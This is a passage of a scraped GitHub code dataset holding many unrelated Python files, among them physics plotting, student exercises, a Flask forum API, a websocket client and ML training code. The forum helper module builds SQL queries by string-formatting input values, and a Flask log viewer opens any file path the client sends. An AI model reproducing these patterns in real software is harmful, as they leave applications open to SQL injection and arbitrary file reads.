2*p / (NumPoints - 1)\n intensity = np.zeros( (NumPoints,NumPoints) )\n\n\n #Creates the x and y values then for each point in the intensity grid, the zero is\n #Replaced with the relevant intensity value\n for i in range(NumPoints):\n x = (i * delta) - p \n for j in range(NumPoints):\n y = (j * delta) - p\n intensity[i,j] = - abs(((E_0*k)/(2*np.pi*z) * \n simps(lambda a: np.exp( (l*k)/(2*z) * (x - a)**2 ),a_1,a_2,NumPoints) * \n simps(lambda a: np.exp( (l*k)/(2*z) * (y - a)**2 ),a_1,a_2,NumPoints))**2)\n \n plt.imshow(intensity, cmap=plt.get_cmap('jet'))\n plt.show()\n \n \n \n \n \n \n \n \n \n \n \n \n \n\n elif MyInput != 'q':\n print('This is not a valid choice')\n\nprint('You have chosen to finish - goodbye.')\n","repo_name":"harryjordan1099/Modelling-Fresnel-diffraction-using-Python-3","sub_path":"Ex3.py","file_name":"Ex3.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40449043501","text":"#Task 10\nsize = 10\nind = 0\nnumbers = []\nnums_sum = []\nnums2 = []\nnums3 = []\n\nprint(\"\\nenter int value\")\nfor i in range(size):\n numbers.append(int(input(\"№{}:\\t\".format(i+1))))\n\nprint(\"\\narray general:\\t\", numbers)\n\nfor i in range(int(size/2)-1):\n nums2.append(numbers[i]-numbers[i+1])\n nums3.append(numbers[i + int(size/2)]-numbers[i + 1 + int(size/2)])\n nums_sum.append(nums2[i] + nums3[i])\n\nprint()\nprint(\"array 1 (i - (i+1))\\n\\t\\tbefore middle:\\t\", nums2)\nprint(\"array 2 (i - (i+1))\\n\\t\\tafter middle:\\t\", nums3)\nprint(\"\\nsum = arra1 + arra2:\\t\", nums_sum)\n","repo_name":"KostiantynPolishko1/HW05_Py_20230612_00","sub_path":"main10.py","file_name":"main10.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16653069564","text":"from flask import g\nfrom app import app\n\n\n# def executeQuery(query):\n# \tresult = app.db_engine.execute(query)\n# \treturn result\n\n\n# def executeQueryData(query, data):\n# \tresult = app.db_engine.execute(query, data)\n# \treturn result\n\n\ndef executeQuery(query):\n\tcur = g.db_conn.cursor()\n\tcur.execute(query)\n\tg.db_conn.commit()\n\treturn cur\n\n\ndef executeQueryData(query, data):\n\tcur = g.db_conn.cursor()\n\tcur.execute(query, data)\n\tg.db_conn.commit()\n\treturn cur\n\n\ndef getFollowersList(email):\n\tquery = \"SELECT follower \\\n\t\t\tFROM follower \\\n\t\t\tWHERE following = %s;\"\n\tdata = (email,)\n\trows = executeQueryData(query, data).fetchall()\n\tif not rows:\n\t\treturn list()\n\tfollowslist = list()\n\tfor row in rows[0]:\n\t\tfollowslist.append(row)\n\n\treturn followslist\n\n\ndef getFollowingList(email):\n\tquery = \"SELECT following \\\n\t\t\tFROM follower \\\n\t\t\tWHERE follower = %s;\"\n\tdata = (email,)\n\trows = executeQueryData(query, data).fetchall()\n\tif not rows:\n\t return list()\n\tfollowslist = list()\n\tfor row in rows[0]:\n\t\tfollowslist.append(row)\n\t\n\treturn followslist\n\n\ndef getPostList(user='', forum='', thread='', postId='', since='', limit=-1, \\\n\t\t\t\tsort='flat', order='desc', date=''):\n\tif postId != \"\":\n\t\twhereCond = \" id = %s\" % (postId)\n\telif forum != \"\":\n\t\twhereCond = \" forum = '%s'\" % (forum)\n\telif thread != \"\":\n\t\twhereCond = \" thread = %s\" % (thread)\n\telif user != \"\":\n\t\tif date != \"\":\n\t\t\twhereCond = \" user = '%s' AND date = '%s'\" % (user, date)\n\t\telse:\n\t\t\twhereCond = \" user = '%s'\" % (user)\n\n\tsinceCond = \"\"\n\tif since != \"\":\n\t\tsinceCond = \" AND date >= '%s'\" % (since)\n\n\tsortCond = \"\"\n\n\tlimitCond = \"\"\n\tif limit != -1:\t\t\t\n\t\tlimitCond = \" LIMIT %s\" % ( int(limit) )\n\t\n\torderCond = \" ORDER BY date %s\" % (order)\n\t\n\tquery = \"SELECT id, user, thread, forum, message, \\\n\t\t\tparent, date, likes, dislikes, points, \\\n\t\t\tisSpam, isEdited, isDeleted, isHighlighted, isApproved \\\n\t\t\tFROM post \\\n\t\t\tWHERE %s %s %s %s %s;\" \\\n\t\t\t% (whereCond, sinceCond, orderCond, sortCond, limitCond)\n\trows = executeQuery(query)\n\t\n\tif not rows:\n\t\treturn list()\n\n\tposts = list()\n\tfor row in rows:\n\t\tpost = dict()\n\t\tpost['id'] = row[0]\n\t\tpost['user'] = row[1]\n\t\tpost['thread'] = row[2]\n\t\tpost['forum'] = row[3]\n\t\tpost['message'] = row[4]\n\t\tpost['parent'] = row[5]\n\t\tpost['date'] = row[6].strftime('%Y-%m-%d %H:%M:%S')\n\t\tpost['likes'] = row[7]\n\t\tpost['dislikes'] = row[8]\n\t\tpost['points'] = row[9]\n\t\tpost['isSpam'] = row[10]\n\t\tpost['isEdited'] = row[11]\n\t\tpost['isDeleted'] = row[12]\n\t\tpost['isHighlighted'] = row[13]\n\t\tpost['isApproved'] = row[14]\n\n\t\tposts.append(post)\n\n\treturn posts\n\n\ndef getThreadList(threadId = \"\", title = \"\", forum = \"\", user = \"\", \\\n\t\t\t\t\tsince = \"\", limit = -1, order = \"desc\"):\n\tif threadId != \"\":\n\t\twhereCond = \"id = %s\" % (threadId)\n\telif title != \"\":\n\t\twhereCond = \"title = '%s'\" % (title)\n\telif forum != \"\":\n\t\twhereCond = \"forum = '%s'\" % (forum)\n\telif user != \"\":\n\t\twhereCond = \"user = '%s'\" % (user)\n\t\t\n\tsinceCond = \"\"\n\tif since != \"\":\n\t\tsinceCond = \"AND date >= '%s'\" % (since)\n\n\torderCond = \"ORDER BY date %s\" % (order)\n\n\tlimitCond = \"\"\n\tif limit != -1:\n\t\tlimitCond = \"LIMIT %s\" % ( int(limit) )\n\n\tquery = \"SELECT id, title, user, message, \\\n\t\t\t forum, isDeleted, isClosed, date, slug, \\\n\t\t\t likes, dislikes, \\\n\t\t\t points, posts \\\n\t\t\t FROM thread \\\n\t\t\t WHERE %s %s %s %s;\" % (whereCond, sinceCond, orderCond, limitCond)\n\trows = executeQuery(query).fetchall()\n\n\tif not rows:\n\t\treturn list()\n\n\tthreads = list()\n\tfor row in rows:\n\t\tthread = dict()\n\t\tthread['id'] = int(row[0])\n\t\tthread['title'] = row[1]\n\t\tthread['user'] = row[2]\n\t\tthread['message'] = row[3]\n\t\tthread['forum'] = row[4]\n\t\tthread['isDeleted'] = bool(row[5])\n\t\tthread['isClosed'] = bool(row[6])\n\t\tthread['date'] = row[7].strftime('%Y-%m-%d %H:%M:%S')\n\t\tthread['slug'] = row[8]\n\t\tthread['likes'] = row[9]\n\t\tthread['dislikes'] = row[10]\n\t\tthread['points'] = row[11]\n\t\tthread['posts'] = row[12]\n\n\t\tthreads.append(thread)\n\n\treturn threads\n\n\ndef getUserDict(user):\n\tquery = \"SELECT id, email, username, name, isAnonymous, about \\\n\t\t\t FROM user \\\n\t\t\t WHERE email = %s\" \n\tdata = (user,)\n\tcur = executeQueryData(query, data)\n\trow = cur.fetchone()\n\tif not row:\n\t\treturn 'Not found'\n\treturn {\n\t\t'id' : row[0],\n\t\t'email' : row[1],\n\t\t'username' : row[2],\n\t\t'name' : row[3],\n\t\t'isAnonymous' : bool(row[4]),\n\t\t'about' : row[5],\t\t\t\t\n\t\t'followers' : [],\n\t\t'following' : [],\n\t\t'subscriptions' : []\t\t\t\t\n\t}\n\n\ndef getForumDict(forum):\n\tquery = \"SELECT id,name,short_name,user \\\n\t\t\t FROM forum \\\n\t\t\t WHERE short_name = %s\" \n\tdata = (forum,)\n\trow = executeQueryData(query,data).fetchone()\n\tif not row:\n\t\treturn {}\n\treturn {\n\t\t'id' : row[0],\t\n\t\t'name' : row[1], \n\t\t'short_name' : row[2], \n\t\t'user' : row[3]\n\t}\t\n\t\n\ndef postsInThreadIncrement(threadId):\n\tquery = \"UPDATE thread SET posts = posts + 1 WHERE id = %s;\"\n\tdata = (threadId,)\n\texecuteQueryData(query, data)\n\n\ndef postsInThreadDecrement(threadId):\n\tquery = \"UPDATE thread SET posts = posts - 1 WHERE id = %s;\"\n\tdata = (threadId,)\n\texecuteQueryData(query, data)\n\n\ndef getSubscribedThreadsList(user):\n\tquery = \"SELECT thread FROM subscription WHERE subscriber = %s;\"\n\tdata = (user,)\n\trows = executeQueryData(query, data)\n\tthreads = list()\n\tfor row in rows:\n\t\tthreads.append(row[0])\n\n\treturn threads\n","repo_name":"AlabamaYarrow/tp_2015_02_db_api","sub_path":"app/views/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12702252937","text":"import asyncio\nimport json\nfrom typing import TYPE_CHECKING, Any, Awaitable, Callable\n\nfrom aiohttp import ClientSession, ClientWebSocketResponse\n\nfrom .models import Presence\n\nGW_URL = \"wss://api.lanyard.rest/socket\"\n\nCoroFunc = Callable[[Any, Any], Awaitable[Any]]\n\n\nclass Opcodes:\n EVENT = 0\n HELLO = 1\n INITIALIZE = 2\n HEARTBEAT = 3\n\n\nclass GatewayClient:\n if TYPE_CHECKING:\n ws: ClientWebSocketResponse\n\n def __init__(self, ids: list[int]) -> None:\n self.ids = [str(id) for id in ids]\n self._loop = asyncio.get_event_loop()\n self.__event_function: CoroFunc = None\n self.__ready_function: CoroFunc = None\n self._last_status = {}\n\n async def heartbeat(self):\n while True:\n await self.ws.send_json({\"op\": Opcodes.HEARTBEAT, \"d\": None})\n await asyncio.sleep(self.heartbeat_interval / 1000)\n\n def message(self):\n def wrapper(func: CoroFunc):\n self.__event_function = func\n\n return wrapper\n\n def ready(self):\n def wrapper(func: CoroFunc):\n self.__ready_function = func\n\n return wrapper\n\n async def _initilize(self, data):\n await self.ws.send_json(\n {\n \"op\": Opcodes.INITIALIZE,\n \"d\": {\"subscribe_to_ids\": self.ids},\n }\n )\n\n self.heartbeat_interval = data[\"heartbeat_interval\"]\n self._loop.create_task(self.heartbeat())\n\n def handle_events(self, data):\n if data[\"t\"] == \"INIT_STATE\":\n ids = [data['d'][id] for id in self.ids]\n for user in ids:\n self._last_status[user['discord_user']['id']] = user['discord_status']\n\n self._loop.create_task(self.__ready_function(data['d']))\n del ids\n else:\n if data['d']['discord_status'] == self._last_status[data['d']['discord_user']['id']]:\n return\n \n self._loop.create_task(self.__event_function(data['d']))\n\n async def connect(self):\n self.session = ClientSession()\n self.ws = await self.session.ws_connect(GW_URL)\n\n while True:\n data = await self.ws.receive()\n\n if isinstance(data.data, int) and len(str(data.data)) == 4:\n print(\n f\"The websocket did a fucky-wucky owo! Found: {data.data}: {data.extra}\"\n )\n continue\n elif isinstance(data.data, type(None)):\n if data.type == 0x101:\n return None\n\n data = json.loads(data.data)\n\n if data[\"op\"] == Opcodes.HELLO:\n await self._initilize(data[\"d\"])\n\n elif data[\"op\"] == Opcodes.EVENT:\n self.handle_events(data)\n\n async def close(self):\n await self.ws.close()\n await self.session.close()\n\n def start(self):\n self._loop.run_until_complete(self.connect())\n","repo_name":"SawshaDev/lanyard-py","sub_path":"lanyard/gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15475043069","text":"import torch\nfrom torch_geometric.transforms import BaseTransform\nfrom torch_geometric.data import Data\nfrom transforms.sdrf.curvature import sdrf\nfrom transforms.sdrf.utils import get_dataset\n\nclass SDRF(BaseTransform):\n \n def __init__(self,\n max_steps: int = None,\n remove_edges: bool = True,\n removal_bound: float = 0.5,\n tau: float = 1,\n undirected: bool = False,\n use_edge_weigths = True\n ):\n \n self.max_steps = max_steps\n self.remove_edges = remove_edges\n self.removal_bound = removal_bound\n self.tau = tau\n self.undirected = undirected\n self.use_edge_weigths = use_edge_weigths\n\n def __call__(self, graph_data):\n\n graph_data = get_dataset(graph_data, use_lcc=False)\n\n if self.max_steps == 'dynamic':\n self.max_steps = int(0.7 * graph_data.num_nodes)\n else:\n self.max_steps = int(self.max_steps)\n\n altered_data = sdrf(\n graph_data,\n loops=self.max_steps,\n remove_edges=self.remove_edges,\n removal_bound=self.removal_bound,\n tau=self.tau,\n is_undirected=self.undirected,\n )\n\n new_data = Data(\n edge_index=torch.LongTensor(altered_data.edge_index),\n edge_attr=torch.FloatTensor(altered_data.edge_attr) if altered_data.edge_attr is not None else None,\n y=graph_data.y,\n x=graph_data.x,\n num_nodes = graph_data.num_nodes\n ) \n return new_data\n\n\n def __repr__(self) -> str:\n return f'{self.__class__.__name__}({self.max_steps})'\n\n","repo_name":"AdrianArnaiz/DiffWire","sub_path":"transforms/sdrf/sdrf_transform.py","file_name":"sdrf_transform.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"21"} +{"seq_id":"22542633489","text":"#!/usr/bin/env python\n\"\"\"\nScript is written to select log file\nfrom list of logs and return \"last 10 lines\"\nlike \"tail -f\"\n\"\"\"\n__author__ = \"Mitul Shah\"\n__version__ = \"1.0.0\"\n\nimport os\nfrom flask import (render_template, jsonify, request)\nimport json\nfrom collections import defaultdict\nfrom config import app\n\nmodifiedTime = {}\n\n\ndef files_from_dir(dirPath, logfiles={}):\n \"\"\"\n Return : list of files located in log folders\n fuction recall itself if subfolders contain file\n \"\"\"\n root = dirPath.split('/')[-1]\n try:\n for child in os.listdir(dirPath):\n childPath = os.path.join(dirPath, child)\n if os.path.isdir(childPath):\n files_from_dir(childPath, logfiles)\n else:\n modifiedTime[childPath] = os.path.getctime(childPath)\n logfiles[root].append([childPath, child])\n except Exception as e:\n print(e)\n return logfiles\n\n\ndef get_logs():\n \"\"\"\n function returns list of files located in specific directory\n \"\"\"\n cwd = os.getcwd()\n logdir = os.path.join(cwd, 'logs')\n files = files_from_dir(logdir, defaultdict(list))\n return files\n\n\n@app.route('/api/getcontent', methods=['POST'])\ndef get_content():\n \"\"\"\n function behave like \"tail -f\"\n input: file path\n output: return line from file\n \"\"\"\n results = {'modified': False, 'lines': []}\n modified = False\n try:\n fn = request.json['path']\n newfile = request.json['isNewFile']\n lastmodified = os.path.getctime(fn)\n\n # if user has changed file from dropdown, update modified time\n if fn in modifiedTime and newfile:\n modifiedTime[fn] = lastmodified\n\n # if file is modified, update modified time and chang flag true\n if fn in modifiedTime and modifiedTime[fn] < lastmodified:\n modifiedTime[fn] = lastmodified\n modified = True\n\n # allow to run code if modified or change file from dropdown\n if modified or newfile:\n with open(fn, \"r\") as f:\n f.seek (0, 2)\n fsize = f.tell()\n # print(fsize)\n if modified and not newfile:\n f.seek (0, 0)\n lines = f.readlines()\n else:\n f.seek(max(fsize - 1024, 0), 0)\n lines = f.readlines()\n lines = lines[-10:]\n results['lines']= lines\n results['modified'] = True\n except Exception as e:\n print(e)\n\n return jsonify(results)\n\n@app.route('/', methods=['GET'])\ndef main():\n \"\"\" Homepage to render data\"\"\"\n res = get_logs()\n return render_template('index.html', data=res)\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"mitulshah44/read_logs_in_flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73727682932","text":"def solution(office, r, c, move):\r\n answer = 0\r\n moveX, moveY = [-1, 0, 1, 0], [0, -1, 0, 1]\r\n v, h = len(office[0]), len(office)\r\n visited = [[False] * v for _ in range(h)]\r\n position, d = [r, c], 0\r\n answer += office[r][c]\r\n visited[r][c] = True\r\n for m in move:\r\n if m == 'go':\r\n x, y = position[0], position[1]\r\n dx, dy = x + moveX[d], y + moveY[d]\r\n if 0 <= dx < h and 0 <= dy < v:\r\n if office[dx][dy] == -1 : continue\r\n position = [dx, dy]\r\n if not visited[dx][dy]:\r\n print(dx,dy)\r\n visited[dx][dy] = True\r\n answer += office[dx][dy]\r\n elif m == 'left':\r\n d = (d + 1) % 4\r\n else:\r\n d = (d - 1) % 4\r\n return answer\r\n\r\nprint(solution([[5,-1,4],[6,3,-1],[2,-1,1]], 1, 0, ['go','go','right','go','right','go','left','go']))","repo_name":"eprj453/algorithm","sub_path":"프로그래머스(자료구조, 코딩테스트)/devMatching/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73041617653","text":"from gzip import GzipFile\n\n\n# Python < 2.7 doesn't have context handling\nclass gzip_open(GzipFile):\n def __enter__(self):\n if hasattr(GzipFile, '__enter__'):\n return GzipFile.__enter__(self)\n else:\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n if hasattr(GzipFile, '__exit__'):\n return GzipFile.__exit__(self, exc_type, exc_value, traceback)\n else:\n return self.close()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/vispy_vispy/vispy-master/vispy/ext/gzip_open.py","file_name":"gzip_open.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"23189906663","text":"from pyspark.sql import (\n functions as F,\n Column as SparkCol,\n)\nfrom pyspark.sql.window import Window\n\n__author__ = ['Dr. Usman Kayani']\n\ndef _weights_calc_pyspark(\n price_col: str = 'price',\n quantity_col: str = 'quantity',\n date_col: str = 'month',\n)-> SparkCol:\n \"\"\"Calculate weights from expenditure shares in PySpark.\"\"\"\n window = Window.partitionBy(date_col)\n expenditure = F.col(price_col)*F.col(quantity_col)\n return expenditure / F.sum(expenditure).over(window)\n \ndef _cumprod_over_period(\n col: SparkCol,\n date_col: str = 'period'\n) -> SparkCol:\n \"\"\"Cumulative product of numeric column over a period window.\"\"\"\n window = (\n Window\n .orderBy(date_col)\n .rowsBetween(Window.unboundedPreceding, Window.currentRow)\n )\n return F.exp(F.sum(F.log(col)).over(window))\n","repo_name":"drrobotk/PriceIndexCalc","sub_path":"src/PriceIndexCalc/pyspark_modules/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"4815011629","text":"from asyncio.windows_events import NULL\nfrom datetime import date, datetime\nfrom encodings import utf_8\nfrom fileinput import close\nfrom msilib.schema import Class\n\nclass Files:\n def __init__(self, nombre, apellido, dni):\n print(\"\\nAlumno creado\\n\")\n self.nombre = nombre\n self.apellido = apellido\n self.dni = dni\n\n#No hace falta usar el .close()\n\n#MI PC\n#'C:\\\\Programacion\\\\Python\\\\Pruebas_Python\\\\clase2_7_ejercicioTestTxt.txt'\n#TRABAJO PC\n#'C:\\\\Repositories\\\\Pruebas_Python2\\\\clase2_7_ejercicioTestTxt.txt'\n\n archivoALeer = 'C:\\\\Repositories\\\\Pruebas_Python2\\\\clase2_7_ejercicioTestTxt.txt'\n\n#Funcion con with para recorrer el archivo\n def vaciarArchivo(archivoALeer):\n with open(archivoALeer, 'w', encoding='utf-8') as archivo:\n return archivoALeer\n\n#Funcion con with para recorrer el archivo\n def leerArchivo(archivoALeer):\n try:\n with open(archivoALeer, encoding='utf-8') as archivo:\n for linea in archivo:\n linea = linea.strip()\n print(linea)\n return linea\n except UnboundLocalError:\n print(\"El archivo esta vacio\\n\")\n\n#Funcion con with para escribir el archivo y agrega fecha de hoy por cada cadena de string\n def escribirYLoguearArchivo(archivoALeer,escribir):\n with open(archivoALeer, 'a', encoding='utf-8') as archivo: \n archivo.write(datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\") + \" \" + escribir + \"\\n\")\n\n#Opciones\n print(\"1_Vaciar Archivo --> Deshabilitado\\n\")\n print(\"2_Leer Archivo \\n\")\n print(\"3_Escribir Archivo \\n\")\n print(\"0_Salir \\n\")\n\n#Seteo de variable opcion\n opcion = NULL\n\n while opcion != '0':\n opcion = input(\"\\nIngresar la opcion deseada: \\n\")\n #if opcion == '1':\n #Vaciar archivo\n #vaciarArchivo(archivoALeer)\n if opcion == '2':\n #Recorrer archivo primera vez\n leerArchivo(archivoALeer)\n if opcion == '3':\n escribir = input(\"Escribir que desea agregar en el archivo: \\n\")\n escribirYLoguearArchivo(archivoALeer,escribir)\n#Cerrar programa\n close()","repo_name":"juaneliang/Pruebas_Python_2","sub_path":"clase2/clase2_7_ejercicioWithFile.py","file_name":"clase2_7_ejercicioWithFile.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"33744514323","text":"#!/usr/bin/python3\n\n\"\"\"\n# -*- coding: utf-8 -*-\n\n# @Time : 2020/8/28 11:04\n# @File : train.py\n\n\"\"\"\nimport argparse\nfrom cProfile import label\n\nimport torch\nimport torchvision\n\nfrom models.lenet import LeNet\nfrom utils import pre_process\nimport matplotlib.pyplot as plt\nfrom utils import visualizer\n\n\ndef get_data_loader(batch_size):\n # MNIST dataset\n train_dataset = torchvision.datasets.MNIST(root='data/',\n train=True,\n transform=pre_process.data_augment_transform(),\n download=True)\n\n test_dataset = torchvision.datasets.MNIST(root='data/',\n train=False,\n transform=pre_process.normal_transform())\n\n # Data loader\n train_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=batch_size,\n shuffle=True)\n\n test_loader = torch.utils.data.DataLoader(dataset=test_dataset,\n batch_size=batch_size,\n shuffle=False)\n return train_loader, test_loader\n\n\ndef draw_wrong_case(predicted, labels, images):\n if(len(draw_wrong_case.num_list) >= 5):\n return\n labels_ = labels.cpu()\n images_ = images.cpu()\n predicted_ = predicted.cpu()\n index_list = (predicted != labels).nonzero(as_tuple = False).cpu().squeeze(1).tolist()\n for index in index_list:\n if(len(draw_wrong_case.num_list) >= 5):\n return\n if labels_[index] not in draw_wrong_case.num_list: # draw_wrong_case.num_list is initialized in main function\n draw_wrong_case.num_list.append(labels_[index])\n visualizer.demo_display_single_image(images_[index], labels_[index], predicted_[index])\n\ndef evaluate(model, test_loader, device, criterion, epoch, epochs):\n model.eval()\n with torch.no_grad():\n correct = 0\n total = 0\n loss = 0\n for images, labels in test_loader:\n images = images.to(device)\n labels = labels.to(device)\n outputs = model(images)\n loss += criterion(outputs, labels).cpu().item()\n _, predicted = torch.max(outputs.data, 1)\n if(epoch >= epoch * 2 / 3 and (predicted == labels).sum().item() != labels.size(0)):\n draw_wrong_case(predicted, labels, images)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n print('Test Accuracy of the model is: {} %'.format(100 * correct / total))\n return loss / total\n\ndef save_model(model, save_path='lenet.pth'):\n ckpt_dict = {\n 'state_dict': model.state_dict()\n }\n torch.save(ckpt_dict, save_path)\n\n\ndef train(epochs, batch_size, learning_rate, num_classes):\n\n # fetch data\n train_loader, test_loader = get_data_loader(batch_size)\n loss_data = {'train':[], 'vali': []}\n\n # Loss and optimizer\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n model = LeNet(num_classes).to(device)\n criterion = torch.nn.CrossEntropyLoss()\n \n #optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate)\n\n # start train\n total_step = len(train_loader)\n for epoch in range(epochs):\n total = 0\n train_loss = 0\n for i, (images, labels) in enumerate(train_loader):\n\n # get image and label\n images = images.to(device)\n labels = labels.to(device)\n\n # Forward pass\n outputs = model(images)\n loss = criterion(outputs, labels)\n \n # Backward and optimize\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n train_loss += loss.cpu().item()\n total += labels.size(0)\n\n if (i + 1) % 100 == 0:\n print('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}'\n .format(epoch + 1, epochs, i + 1, total_step, loss.item()))\n\n # evaluate after epoch train\n vali_avg_loss = evaluate(model, test_loader, device, criterion,epoch, epochs)\n train_avg_loss = train_loss / total\n loss_data['vali'].append(vali_avg_loss)\n loss_data['train'].append(train_avg_loss)\n\n # save the trained model\n save_model(model, save_path='lenet.pth')\n return model, loss_data\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--epochs', type=int, default=10)\n parser.add_argument('--batch-size', type=int, default=256)\n parser.add_argument('--lr', type=float, default=0.001)\n parser.add_argument('--num_classes', type=int, default=10)\n args = parser.parse_args()\n return args\n\ndef draw_plot(loss_data):\n x1 = range(len(loss_data['train']))\n y1 = loss_data['train']\n x2 = range(len(loss_data['vali']))\n y2 = loss_data['vali']\n plt.plot(x1, y1, 'r-', label = 'train-loss')\n plt.plot(x2, y2, 'g-', label = 'validate-loss')\n plt.xlabel('epoch')\n plt.ylabel('loss')\n plt.legend()\n plt.show()\n\nif __name__ == '__main__':\n args = parse_args()\n draw_wrong_case.num_list = []\n model, loss_data = train(args.epochs, args.batch_size, args.lr, args.num_classes)\n draw_plot(loss_data)","repo_name":"Hsu1023/THSS-CRACKER","sub_path":"2nd Summer/程序设计实践/hw3/LeNet-PyTorch_initial/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5496,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"11066281190","text":"from copy import deepcopy\n\nfrom eth2spec.test.helpers.keys import privkeys\nfrom eth2spec.utils import bls\nfrom eth2spec.utils.bls import only_with_bls\nfrom eth2spec.utils.ssz.ssz_impl import (\n hash_tree_root,\n)\n\nfrom .attestations import (\n sign_shard_attestation,\n)\n\n\n@only_with_bls()\ndef sign_shard_block(spec, beacon_state, shard_state, block, proposer_index=None):\n if proposer_index is None:\n proposer_index = spec.get_shard_proposer_index(beacon_state, shard_state.shard, block.slot)\n\n privkey = privkeys[proposer_index]\n domain = spec.get_domain(beacon_state, spec.DOMAIN_SHARD_PROPOSER, spec.compute_epoch_of_shard_slot(block.slot))\n signing_root = spec.compute_signing_root(block, domain)\n block.signature = bls.Sign(privkey, signing_root)\n\n\ndef build_empty_shard_block(spec,\n beacon_state,\n shard_state,\n slot,\n signed=False,\n full_attestation=False):\n if slot is None:\n slot = shard_state.slot\n\n previous_beacon_header = deepcopy(beacon_state.latest_block_header)\n if previous_beacon_header.state_root == spec.Bytes32():\n previous_beacon_header.state_root = beacon_state.hash_tree_root()\n beacon_block_root = hash_tree_root(previous_beacon_header)\n\n previous_block_header = deepcopy(shard_state.latest_block_header)\n if previous_block_header.state_root == spec.Bytes32():\n previous_block_header.state_root = shard_state.hash_tree_root()\n parent_root = hash_tree_root(previous_block_header)\n\n block = spec.ShardBlock(\n shard=shard_state.shard,\n slot=slot,\n beacon_block_root=beacon_block_root,\n parent_root=parent_root,\n block_size_sum=shard_state.block_size_sum + spec.SHARD_HEADER_SIZE,\n )\n\n if full_attestation:\n shard_committee = spec.get_shard_committee(beacon_state, shard_state.shard, block.slot)\n block.aggregation_bits = list(\n (True,) * len(shard_committee) +\n (False,) * (spec.MAX_PERIOD_COMMITTEE_SIZE * 2 - len(shard_committee))\n )\n else:\n shard_committee = []\n\n block.attestations = sign_shard_attestation(\n spec,\n beacon_state,\n shard_state,\n block,\n participants=shard_committee,\n )\n\n if signed:\n sign_shard_block(spec, beacon_state, shard_state, block)\n\n return block\n","repo_name":"LeastAuthority/eth2.0-specs","sub_path":"tests/core/pyspec/eth2spec/test/helpers/phase1/shard_block.py","file_name":"shard_block.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14916558893","text":"# 카메라 frame -> 동영상으로 저장\n\nimport cv2\n\ncapture = cv2.VideoCapture(0) # 0번 카메라 \n\nif capture.isOpened() == False:\n raise Exception(\"error\") # c 에서는 perror로 바로 stderr로 보낸다\n\nfps = 29.97 # frame per second\ndelay = round(1000/fps) # frame 간 delay\nsize = (640,360)\nfourcc = cv2.VideoWriter_fourcc(*'DX50') # 압축 Codec 설정 - Video를 만들어 내보내는 것이므로 Coder 과정 필요\n\ncapture.set(cv2.CAP_PROP_ZOOM, 1)\ncapture.set(cv2.CAP_PROP_FOCUS, 0)\ncapture.set(cv2.CAP_PROP_FRAME_WIDTH, size[0])\ncapture.set(cv2.CAP_PROP_FRAME_HEIGHT, size[1])\n\nwriter = cv2.VideoWriter(\"OpenCV/CV_Image_Video/test_video.avi\", fourcc, fps, size)\nif writer.isOpened() == False:\n raise Exception(\"error\")\n\nwhile True:\n ret, frame = capture.read()\n\n if not ret:\n break\n\n if cv2.waitKey(30) >= 0:\n break\n\n writer.write(frame) # Frame을 Video로 저장\n cv2.imshow(\"View Frame from Camera\", frame)\n\ncapture.release()\nwriter.release()\n\n","repo_name":"dldnxks12/ComputerVision","sub_path":"CV_Image_Video/Video3.py","file_name":"Video3.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8006164090","text":"class Node(object):\n def __init__(self, value):\n self.info = value\n self.prev = None\n self.next = None\n\n\nclass DoubleLinkedList(object):\n def __init__(self):\n self.start = None\n\n def createList(self):\n n = int(input(\"Enter No of Nodes:\"))\n if n == 0:\n return\n first = int(input(\"Enter the first element:\"))\n self.insertInEmptyList(first)\n for i in range(0, n - 1):\n val = int(input(\"Enter the next element:\"))\n self.insertAtEnd(val)\n\n def insertInEmptyList(self, data):\n temp = Node(data)\n self.start = temp\n\n def insertAtEnd(self, data):\n temp = Node(data)\n p = self.start\n while p.next is not None:\n p = p.next\n p.next = temp\n temp.prev = p\n\n def 